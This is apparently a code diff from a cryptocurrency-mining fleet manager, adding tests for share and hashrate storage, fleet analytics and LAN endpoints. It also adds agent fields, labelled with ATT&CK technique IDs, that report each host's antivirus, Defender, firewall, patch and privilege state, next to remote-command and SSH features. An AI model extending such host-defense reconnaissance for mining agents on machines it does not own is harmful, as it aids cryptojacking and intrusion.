||||
Accepted: false,
|
||||
Hash: "abc123",
|
||||
Nonce: "deadbeef",
|
||||
Error: "pending",
|
||||
Timestamp: ts,
|
||||
}
|
||||
id, err := d.InsertShare(share)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if id <= 0 {
|
||||
t.Fatalf("expected positive insert id, got %d", id)
|
||||
}
|
||||
|
||||
if err := d.UpdateShareResult(id, true, ""); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
recent, err := d.GetRecentShares(10)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(recent) != 1 {
|
||||
t.Fatalf("expected 1 share, got %d", len(recent))
|
||||
}
|
||||
if !recent[0].Accepted {
|
||||
t.Fatal("share should be accepted after update")
|
||||
}
|
||||
if recent[0].Error != "" {
|
||||
t.Fatalf("error should be cleared, got %q", recent[0].Error)
|
||||
}
|
||||
|
||||
if err := d.UpdateShareResult(id, false, "pool rejected"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
recent, err = d.GetRecentShares(1)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if recent[0].Accepted || recent[0].Error != "pool rejected" {
|
||||
t.Fatalf("unexpected share after reject update: %+v", recent[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestHashrateSampleHistory(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
seedAgent(t, d, "hr-agent")
|
||||
|
||||
if err := d.InsertHashrateSample("hr-agent", 150.5); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := d.InsertHashrateSample("hr-agent", 200.0); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
history, err := d.GetHashrateHistory("hr-agent", 5)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(history) != 2 {
|
||||
t.Fatalf("expected 2 samples, got %d", len(history))
|
||||
}
|
||||
if history[0].Hashrate != 200.0 {
|
||||
t.Fatalf("expected newest first, got %f", history[0].Hashrate)
|
||||
}
|
||||
|
||||
empty, err := d.GetHashrateHistory("unknown", 5)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(empty) != 0 {
|
||||
t.Fatalf("expected empty history, got %d", len(empty))
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetFleetStatsWithAgents(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
seedAgent(t, d, "fleet-a")
|
||||
seedAgent(t, d, "fleet-b")
|
||||
|
||||
if err := d.UpdateAgentStats("fleet-a", 0, 0, 100, 20, 18, 2, 0, 0, 0); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := d.UpdateAgentStats("fleet-b", 0, 0, 50, 10, 5, 5, 0, 0, 0); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
stats, err := d.GetFleetStats()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if stats.TotalAgents != 2 {
|
||||
t.Fatalf("total agents: got %d want 2", stats.TotalAgents)
|
||||
}
|
||||
if stats.OnlineAgents != 2 {
|
||||
t.Fatalf("online agents: got %d want 2", stats.OnlineAgents)
|
||||
}
|
||||
if stats.TotalHashrate != 150 {
|
||||
t.Fatalf("total hashrate: got %f want 150", stats.TotalHashrate)
|
||||
}
|
||||
if stats.TotalShares != 30 || stats.AcceptedShares != 23 || stats.RejectedShares != 7 {
|
||||
t.Fatalf("share totals mismatch: %+v", stats)
|
||||
}
|
||||
wantRate := float64(23) / float64(30) * 100
|
||||
if stats.AcceptRate != wantRate {
|
||||
t.Fatalf("accept rate: got %f want %f", stats.AcceptRate, wantRate)
|
||||
}
|
||||
}
|
||||
@@ -36,6 +36,20 @@ type Agent struct {
|
||||
|
||||
// Crucible — SSH status probed by the agent every ~60s
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
|
||||
// Defense posture + patch exposure — ATT&CK T1685/T1686.003
|
||||
PostureScore int `json:"posture_score,omitempty"`
|
||||
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
|
||||
DefenderRTP *bool `json:"defender_rtp,omitempty"`
|
||||
AVProducts []string `json:"av_products,omitempty"`
|
||||
FirewallDomain *bool `json:"firewall_domain,omitempty"`
|
||||
FirewallPrivate *bool `json:"firewall_private,omitempty"`
|
||||
FirewallPublic *bool `json:"firewall_public,omitempty"`
|
||||
LastPatchDays *int `json:"last_patch_days,omitempty"`
|
||||
LastPatch *string `json:"last_patch,omitempty"` // ISO date YYYY-MM-DD
|
||||
PendingUpdates *int `json:"pending_updates,omitempty"` // -1 = unknown
|
||||
RebootPending *bool `json:"reboot_pending,omitempty"`
|
||||
AgentElevated *bool `json:"agent_elevated,omitempty"`
|
||||
}
|
||||
|
||||
// AgentCapabilities reports forge-time features available for remote command.
|
||||
|
||||
239
server/web/package-lock.json
generated
239
server/web/package-lock.json
generated
@@ -21,6 +21,9 @@
|
||||
},
|
||||
"devDependencies": {
|
||||
"@playwright/test": "^1.49.0",
|
||||
"@testing-library/jest-dom": "^6.9.1",
|
||||
"@testing-library/react": "^16.3.2",
|
||||
"@testing-library/user-event": "^14.6.1",
|
||||
"@types/react": "^18.2.37",
|
||||
"@types/react-dom": "^18.2.15",
|
||||
"@vitejs/plugin-react": "^4.2.0",
|
||||
@@ -30,6 +33,13 @@
|
||||
"vitest": "^2.1.9"
|
||||
}
|
||||
},
|
||||
"node_modules/@adobe/css-tools": {
|
||||
"version": "4.5.0",
|
||||
"resolved": "https://registry.npmjs.org/@adobe/css-tools/-/css-tools-4.5.0.tgz",
|
||||
"integrity": "sha512-6OzddxPio9UiWTCemp4N8cYLV2ZN1ncRnV1cVGtve7dhPOtRkleRyx32GQCYSwDYgaHU3USMm84tNsvKzRCa1Q==",
|
||||
"dev": true,
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@babel/code-frame": {
|
||||
"version": "7.29.7",
|
||||
"resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.7.tgz",
|
||||
@@ -1396,12 +1406,110 @@
|
||||
"win32"
|
||||
]
|
||||
},
|
||||
"node_modules/@testing-library/dom": {
|
||||
"version": "10.4.1",
|
||||
"resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-10.4.1.tgz",
|
||||
"integrity": "sha512-o4PXJQidqJl82ckFaXUeoAW+XysPLauYI43Abki5hABd853iMhitooc6znOnczgbTYmEP6U6/y1ZyKAIsvMKGg==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"peer": true,
|
||||
"dependencies": {
|
||||
"@babel/code-frame": "^7.10.4",
|
||||
"@babel/runtime": "^7.12.5",
|
||||
"@types/aria-query": "^5.0.1",
|
||||
"aria-query": "5.3.0",
|
||||
"dom-accessibility-api": "^0.5.9",
|
||||
"lz-string": "^1.5.0",
|
||||
"picocolors": "1.1.1",
|
||||
"pretty-format": "^27.0.2"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=18"
|
||||
}
|
||||
},
|
||||
"node_modules/@testing-library/jest-dom": {
|
||||
"version": "6.9.1",
|
||||
"resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-6.9.1.tgz",
|
||||
"integrity": "sha512-zIcONa+hVtVSSep9UT3jZ5rizo2BsxgyDYU7WFD5eICBE7no3881HGeb/QkGfsJs6JTkY1aQhT7rIPC7e+0nnA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@adobe/css-tools": "^4.4.0",
|
||||
"aria-query": "^5.0.0",
|
||||
"css.escape": "^1.5.1",
|
||||
"dom-accessibility-api": "^0.6.3",
|
||||
"picocolors": "^1.1.1",
|
||||
"redent": "^3.0.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=14",
|
||||
"npm": ">=6",
|
||||
"yarn": ">=1"
|
||||
}
|
||||
},
|
||||
"node_modules/@testing-library/jest-dom/node_modules/dom-accessibility-api": {
|
||||
"version": "0.6.3",
|
||||
"resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.6.3.tgz",
|
||||
"integrity": "sha512-7ZgogeTnjuHbo+ct10G9Ffp0mif17idi0IyWNVA/wcwcm7NPOD/WEHVP3n7n3MhXqxoIYm8d6MuZohYWIZ4T3w==",
|
||||
"dev": true,
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@testing-library/react": {
|
||||
"version": "16.3.2",
|
||||
"resolved": "https://registry.npmjs.org/@testing-library/react/-/react-16.3.2.tgz",
|
||||
"integrity": "sha512-XU5/SytQM+ykqMnAnvB2umaJNIOsLF3PVv//1Ew4CTcpz0/BRyy/af40qqrt7SjKpDdT1saBMc42CUok5gaw+g==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"@babel/runtime": "^7.12.5"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=18"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@testing-library/dom": "^10.0.0",
|
||||
"@types/react": "^18.0.0 || ^19.0.0",
|
||||
"@types/react-dom": "^18.0.0 || ^19.0.0",
|
||||
"react": "^18.0.0 || ^19.0.0",
|
||||
"react-dom": "^18.0.0 || ^19.0.0"
|
||||
},
|
||||
"peerDependenciesMeta": {
|
||||
"@types/react": {
|
||||
"optional": true
|
||||
},
|
||||
"@types/react-dom": {
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
"node_modules/@testing-library/user-event": {
|
||||
"version": "14.6.1",
|
||||
"resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-14.6.1.tgz",
|
||||
"integrity": "sha512-vq7fv0rnt+QTXgPxr5Hjc210p6YKq2kmdziLgnsZGgLJ9e6VAShx1pACLuRjd/AS/sr7phAR58OIIpf0LlmQNw==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=12",
|
||||
"npm": ">=6"
|
||||
},
|
||||
"peerDependencies": {
|
||||
"@testing-library/dom": ">=7.21.4"
|
||||
}
|
||||
},
|
||||
"node_modules/@tweenjs/tween.js": {
|
||||
"version": "23.1.3",
|
||||
"resolved": "https://registry.npmjs.org/@tweenjs/tween.js/-/tween.js-23.1.3.tgz",
|
||||
"integrity": "sha512-vJmvvwFxYuGnF2axRtPYocag6Clbb5YS7kLL+SO/TeVFzHqDIWrNKYtcsPMibjDx9O+bu+psAy9NKfWklassUA==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@types/aria-query": {
|
||||
"version": "5.0.4",
|
||||
"resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-5.0.4.tgz",
|
||||
"integrity": "sha512-rfT93uj5s0PRL7EzccGMs3brplhcrghnDoV26NqKhCAS1hVo+WdNsPvE/yb6ilfr5hi2MEk6d5EWJTKdxg8jVw==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"peer": true
|
||||
},
|
||||
"node_modules/@types/babel__core": {
|
||||
"version": "7.20.5",
|
||||
"resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.5.tgz",
|
||||
@@ -1784,6 +1892,16 @@
|
||||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/aria-query": {
|
||||
"version": "5.3.0",
|
||||
"resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz",
|
||||
"integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==",
|
||||
"dev": true,
|
||||
"license": "Apache-2.0",
|
||||
"dependencies": {
|
||||
"dequal": "^2.0.3"
|
||||
}
|
||||
},
|
||||
"node_modules/assertion-error": {
|
||||
"version": "2.0.1",
|
||||
"resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz",
|
||||
@@ -2047,6 +2165,13 @@
|
||||
"node": ">= 8"
|
||||
}
|
||||
},
|
||||
"node_modules/css.escape": {
|
||||
"version": "1.5.1",
|
||||
"resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz",
|
||||
"integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==",
|
||||
"dev": true,
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/csstype": {
|
||||
"version": "3.2.3",
|
||||
"resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz",
|
||||
@@ -2217,6 +2342,16 @@
|
||||
"node": ">=6"
|
||||
}
|
||||
},
|
||||
"node_modules/dequal": {
|
||||
"version": "2.0.3",
|
||||
"resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz",
|
||||
"integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=6"
|
||||
}
|
||||
},
|
||||
"node_modules/detect-gpu": {
|
||||
"version": "5.0.70",
|
||||
"resolved": "https://registry.npmjs.org/detect-gpu/-/detect-gpu-5.0.70.tgz",
|
||||
@@ -2232,6 +2367,14 @@
|
||||
"integrity": "sha512-qiSlmBq9+BCdCA/L46dw8Uy93mloxsPSbwnm5yrKn2vMPiy8KyAskTF6zuV/j5BMsmOGZDPs7KjU+mjb670kfA==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/dom-accessibility-api": {
|
||||
"version": "0.5.16",
|
||||
"resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz",
|
||||
"integrity": "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"peer": true
|
||||
},
|
||||
"node_modules/dom-helpers": {
|
||||
"version": "5.2.1",
|
||||
"resolved": "https://registry.npmjs.org/dom-helpers/-/dom-helpers-5.2.1.tgz",
|
||||
@@ -2471,6 +2614,16 @@
|
||||
"integrity": "sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/indent-string": {
|
||||
"version": "4.0.0",
|
||||
"resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
|
||||
"integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/internmap": {
|
||||
"version": "2.0.3",
|
||||
"resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz",
|
||||
@@ -2610,6 +2763,17 @@
|
||||
"yallist": "^3.0.2"
|
||||
}
|
||||
},
|
||||
"node_modules/lz-string": {
|
||||
"version": "1.5.0",
|
||||
"resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.5.0.tgz",
|
||||
"integrity": "sha512-h5bgJWpxJNswbU7qCrV0tIKQCaS3blPDrqKWx+QxzuzL1zGUzij9XCWLrSLsJPu5t+eWA/ycetzYAO5IOMcWAQ==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"peer": true,
|
||||
"bin": {
|
||||
"lz-string": "bin/bin.js"
|
||||
}
|
||||
},
|
||||
"node_modules/maath": {
|
||||
"version": "0.10.8",
|
||||
"resolved": "https://registry.npmjs.org/maath/-/maath-0.10.8.tgz",
|
||||
@@ -2645,6 +2809,16 @@
|
||||
"integrity": "sha512-oRFNWJRDA/WTrVj7NWvqa5HqE1t9MYDj2VaWirQCzCCrAd2GHrqR/sQezCxiWATPNlKTcRaPRHPJwIRoPBAp5g==",
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/min-indent": {
|
||||
"version": "1.0.1",
|
||||
"resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz",
|
||||
"integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=4"
|
||||
}
|
||||
},
|
||||
"node_modules/ms": {
|
||||
"version": "2.1.3",
|
||||
"resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
|
||||
@@ -2859,6 +3033,44 @@
|
||||
"integrity": "sha512-choctRBIV9EMT9WGAZHn3V7t0Z2pMQyl0EZE6pFc/6ml3ssw7Dlf/oAOvFwjm1HVsqfQN8GfeFyJ+d8tRzqueQ==",
|
||||
"license": "ISC"
|
||||
},
|
||||
"node_modules/pretty-format": {
|
||||
"version": "27.5.1",
|
||||
"resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
|
||||
"integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"peer": true,
|
||||
"dependencies": {
|
||||
"ansi-regex": "^5.0.1",
|
||||
"ansi-styles": "^5.0.0",
|
||||
"react-is": "^17.0.1"
|
||||
},
|
||||
"engines": {
|
||||
"node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
|
||||
}
|
||||
},
|
||||
"node_modules/pretty-format/node_modules/ansi-styles": {
|
||||
"version": "5.2.0",
|
||||
"resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
|
||||
"integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"peer": true,
|
||||
"engines": {
|
||||
"node": ">=10"
|
||||
},
|
||||
"funding": {
|
||||
"url": "https://github.com/chalk/ansi-styles?sponsor=1"
|
||||
}
|
||||
},
|
||||
"node_modules/pretty-format/node_modules/react-is": {
|
||||
"version": "17.0.2",
|
||||
"resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
|
||||
"integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"peer": true
|
||||
},
|
||||
"node_modules/promise-worker-transferable": {
|
||||
"version": "1.0.4",
|
||||
"resolved": "https://registry.npmjs.org/promise-worker-transferable/-/promise-worker-transferable-1.0.4.tgz",
|
||||
@@ -3092,6 +3304,20 @@
|
||||
"decimal.js-light": "^2.4.1"
|
||||
}
|
||||
},
|
||||
"node_modules/redent": {
|
||||
"version": "3.0.0",
|
||||
"resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz",
|
||||
"integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"indent-string": "^4.0.0",
|
||||
"strip-indent": "^3.0.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/require-directory": {
|
||||
"version": "2.1.1",
|
||||
"resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
|
||||
@@ -3284,6 +3510,19 @@
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/strip-indent": {
|
||||
"version": "3.0.0",
|
||||
"resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz",
|
||||
"integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==",
|
||||
"dev": true,
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"min-indent": "^1.0.0"
|
||||
},
|
||||
"engines": {
|
||||
"node": ">=8"
|
||||
}
|
||||
},
|
||||
"node_modules/suspend-react": {
|
||||
"version": "0.1.3",
|
||||
"resolved": "https://registry.npmjs.org/suspend-react/-/suspend-react-0.1.3.tgz",
|
||||
|
||||
@@ -25,6 +25,9 @@
|
||||
},
|
||||
"devDependencies": {
|
||||
"@playwright/test": "^1.49.0",
|
||||
"@testing-library/jest-dom": "^6.9.1",
|
||||
"@testing-library/react": "^16.3.2",
|
||||
"@testing-library/user-event": "^14.6.1",
|
||||
"@types/react": "^18.2.37",
|
||||
"@types/react-dom": "^18.2.15",
|
||||
"@vitejs/plugin-react": "^4.2.0",
|
||||
|
||||
@@ -115,6 +115,17 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
|
||||
),
|
||||
status: 'online' as const,
|
||||
...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}),
|
||||
...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}),
|
||||
...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}),
|
||||
...(update.defender_rtp !== undefined ? { defender_rtp: update.defender_rtp } : {}),
|
||||
...(update.av_products !== undefined ? { av_products: update.av_products } : {}),
|
||||
...(update.firewall_domain !== undefined ? { firewall_domain: update.firewall_domain } : {}),
|
||||
...(update.firewall_private !== undefined ? { firewall_private: update.firewall_private } : {}),
|
||||
...(update.firewall_public !== undefined ? { firewall_public: update.firewall_public } : {}),
|
||||
...(update.last_patch !== undefined ? { last_patch: update.last_patch } : {}),
|
||||
...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}),
|
||||
...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}),
|
||||
...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}),
|
||||
}
|
||||
: a
|
||||
)
|
||||
|
||||
40
server/web/src/help/endpointHelpers.test.ts
Normal file
40
server/web/src/help/endpointHelpers.test.ts
Normal file
@@ -0,0 +1,40 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { formatLanEndpoint, lanEndpointCandidates } from './endpointHelpers';
|
||||
import type { ServerInfo } from '../types';
|
||||
|
||||
describe('formatLanEndpoint', () => {
|
||||
it('strips scheme and path from host', () => {
|
||||
expect(formatLanEndpoint('https://192.168.1.5:8989/extra', 8989)).toBe('http://192.168.1.5:8989');
|
||||
});
|
||||
|
||||
it('builds http URL from bare IP', () => {
|
||||
expect(formatLanEndpoint('10.0.0.2', 7777)).toBe('http://10.0.0.2:7777');
|
||||
});
|
||||
});
|
||||
|
||||
describe('lanEndpointCandidates', () => {
|
||||
it('dedupes suggested URL and local IPs', () => {
|
||||
const info: ServerInfo = {
|
||||
port: 8989,
|
||||
host: 'localhost',
|
||||
local_ips: ['192.168.1.10', '192.168.1.10'],
|
||||
suggested_url: 'http://192.168.1.10:8989',
|
||||
dashboard_url: 'http://192.168.1.10:8989',
|
||||
websocket_url: 'ws://192.168.1.10:8989/ws/agent',
|
||||
};
|
||||
const urls = lanEndpointCandidates(info);
|
||||
expect(urls).toEqual(['http://192.168.1.10:8989']);
|
||||
});
|
||||
|
||||
it('honours port override', () => {
|
||||
const info: ServerInfo = {
|
||||
port: 8989,
|
||||
host: 'localhost',
|
||||
local_ips: ['10.0.0.1'],
|
||||
suggested_url: '',
|
||||
dashboard_url: '',
|
||||
websocket_url: '',
|
||||
};
|
||||
expect(lanEndpointCandidates(info, 9000)).toEqual(['http://10.0.0.1:9000']);
|
||||
});
|
||||
});
|
||||
133
server/web/src/help/fleetAnalytics.test.ts
Normal file
133
server/web/src/help/fleetAnalytics.test.ts
Normal file
@@ -0,0 +1,133 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
computeFleetHealth,
|
||||
contributionBars,
|
||||
findUnderperformers,
|
||||
fleetMedianHashrate,
|
||||
groupBySubnet,
|
||||
osArchBreakdown,
|
||||
staleAgentIds,
|
||||
timeToPayout,
|
||||
} from './fleetAnalytics';
|
||||
import type { Agent, PoolStatus } from '../types';
|
||||
|
||||
const agent = (overrides: Partial<Agent> = {}): Agent => ({
|
||||
id: 'a1',
|
||||
name: 'node-1',
|
||||
status: 'online',
|
||||
hashrate_15m: 1000,
|
||||
shares_total: 100,
|
||||
shares_good: 98,
|
||||
ip: '192.168.1.10',
|
||||
platform: 'windows',
|
||||
arch: 'amd64',
|
||||
last_seen: new Date().toISOString(),
|
||||
...overrides,
|
||||
} as Agent);
|
||||
|
||||
describe('computeFleetHealth', () => {
|
||||
it('returns NOMINAL for healthy fleet', () => {
|
||||
const agents = [agent(), agent({ id: 'a2', name: 'node-2', hashrate_15m: 900 })];
|
||||
const pools: PoolStatus[] = [{ name: 'primary', status: 'green' }];
|
||||
const health = computeFleetHealth(agents, pools);
|
||||
expect(health.label).toBe('NOMINAL');
|
||||
expect(health.score).toBeGreaterThanOrEqual(80);
|
||||
expect(health.issues).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('flags offline nodes and pool degradation', () => {
|
||||
const agents = [agent(), agent({ id: 'a2', status: 'offline', hashrate_15m: 0 })];
|
||||
const pools: PoolStatus[] = [{ name: 'primary', status: 'red' }];
|
||||
const health = computeFleetHealth(agents, pools);
|
||||
expect(health.label).not.toBe('NOMINAL');
|
||||
expect(health.issues.some((i) => i.includes('offline'))).toBe(true);
|
||||
expect(health.issues.some((i) => i.includes('pool'))).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('contributionBars', () => {
|
||||
it('sorts online agents by hashrate share', () => {
|
||||
const bars = contributionBars([
|
||||
agent({ id: 'a1', hashrate_15m: 300 }),
|
||||
agent({ id: 'a2', hashrate_15m: 700 }),
|
||||
agent({ id: 'a3', status: 'offline', hashrate_15m: 9999 }),
|
||||
]);
|
||||
expect(bars).toHaveLength(2);
|
||||
expect(bars[0].id).toBe('a2');
|
||||
expect(bars[0].pct).toBeCloseTo(70, 1);
|
||||
});
|
||||
});
|
||||
|
||||
describe('findUnderperformers', () => {
|
||||
it('returns agents below 70% of median', () => {
|
||||
const agents = [
|
||||
agent({ id: 'fast', hashrate_15m: 1000 }),
|
||||
agent({ id: 'slow', hashrate_15m: 500 }),
|
||||
agent({ id: 'mid', hashrate_15m: 900 }),
|
||||
];
|
||||
const under = findUnderperformers(agents);
|
||||
expect(under.map((a) => a.id)).toEqual(['slow']);
|
||||
});
|
||||
|
||||
it('returns empty when fewer than 2 online miners', () => {
|
||||
expect(findUnderperformers([agent()])).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('fleetMedianHashrate', () => {
|
||||
it('computes median of online non-zero agents', () => {
|
||||
const med = fleetMedianHashrate([
|
||||
agent({ hashrate_15m: 100 }),
|
||||
agent({ id: 'a2', hashrate_15m: 300 }),
|
||||
agent({ id: 'a3', hashrate_15m: 200 }),
|
||||
]);
|
||||
expect(med).toBe(200);
|
||||
});
|
||||
});
|
||||
|
||||
describe('groupBySubnet', () => {
|
||||
it('groups by /24 prefix', () => {
|
||||
const groups = groupBySubnet([
|
||||
agent({ ip: '10.0.0.1' }),
|
||||
agent({ id: 'a2', ip: '10.0.0.2' }),
|
||||
agent({ id: 'a3', ip: '192.168.5.9' }),
|
||||
]);
|
||||
expect(groups).toHaveLength(2);
|
||||
expect(groups[0].subnet).toBe('10.0.0.x');
|
||||
expect(groups[0].agents).toHaveLength(2);
|
||||
});
|
||||
});
|
||||
|
||||
describe('osArchBreakdown', () => {
|
||||
it('labels platforms for display', () => {
|
||||
const rows = osArchBreakdown([
|
||||
agent({ platform: 'linux', arch: 'amd64' }),
|
||||
agent({ id: 'a2', platform: 'darwin', arch: 'arm64' }),
|
||||
]);
|
||||
expect(rows.some((r) => r.label.includes('Linux'))).toBe(true);
|
||||
expect(rows.some((r) => r.label.includes('macOS'))).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe('staleAgentIds', () => {
|
||||
it('flags online agents not seen in 5+ minutes', () => {
|
||||
const staleTime = new Date(Date.now() - 6 * 60 * 1000).toISOString();
|
||||
const ids = staleAgentIds([
|
||||
agent({ id: 'fresh', last_seen: new Date().toISOString() }),
|
||||
agent({ id: 'stale', last_seen: staleTime }),
|
||||
]);
|
||||
expect(ids.has('stale')).toBe(true);
|
||||
expect(ids.has('fresh')).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('timeToPayout', () => {
|
||||
it('returns days until payout', () => {
|
||||
expect(timeToPayout(0.5, 0.25)).toBe(2);
|
||||
});
|
||||
|
||||
it('returns null when data missing', () => {
|
||||
expect(timeToPayout(undefined, 1)).toBeNull();
|
||||
expect(timeToPayout(1, 0)).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -86,9 +86,9 @@ export function computeFleetHealth(agents: Agent[], pools: PoolStatus[]): FleetH
|
||||
// ─── Contribution Map ─────────────────────────────────────────────────────────
|
||||
|
||||
export function contributionBars(agents: Agent[]): ContributionBar[] {
|
||||
